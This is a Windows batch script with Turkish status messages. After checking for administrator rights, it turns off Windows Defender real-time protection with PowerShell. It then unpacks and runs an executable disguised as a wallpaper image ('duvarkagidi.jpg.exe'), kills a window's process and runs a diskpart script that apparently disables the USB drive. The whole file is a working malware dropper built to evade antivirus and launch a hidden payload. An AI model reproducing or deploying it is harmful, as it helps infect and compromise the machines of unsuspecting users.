@echo off

echo Windows Defender devre dışı bırakılıyor...

net session >nul 2>&1
if %errorLevel% neq 0 (
    echo Yönetici olarak çalıştırmanız gerekiyor.
    pause
    exit
)

powershell -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true"

echo Windows Defender devre dışı bırakıldı.
timeout /t 2 >nul

set script_dir=%~dp0
set rar_file=%script_dir%duvarkagidi.jpg.rar
set extract_dir=%script_dir%extracted

if exist "%rar_file%" (
    echo "%rar_file%" dosyası açılıyor...
    mkdir "%extract_dir%"
    "%ProgramFiles%\WinRAR\WinRAR.exe" x "%rar_file%" "%extract_dir%" -o+ -inul
    if exist "%extract_dir%\duvarkagidi.jpg.exe" (
        echo "%extract_dir%\duvarkagidi.jpg.exe" dosyası çalıştırılıyor...
        timeout /t 2 >nul
        start "" "%extract_dir%\duvarkagidi.jpg.exe"
        timeout /t 2 >nul
        echo En son açılan pencere kapatılıyor...
        for /f "tokens=2" %%a in ('tasklist /v /fo list ^| findstr /i "window title"') do (
            set "last_window=%%a"
        )
        taskkill /f /pid %last_window%
        timeout /t 1 >nul
        echo USB sürücüsü pasif hale getiriliyor...
        diskpart /s "%script_dir%disable_usb.txt"
    ) else (
        echo "%extract_dir%\duvarkagidi.jpg.exe" dosyası bulunamadı.
        pause
        exit
    )
) else (
    echo "%rar_file%" dosyası bulunamadı.
    pause
    exit
)

echo Betik tamamlandı. Kapatmak için bir tuşa basın...
pause >nul
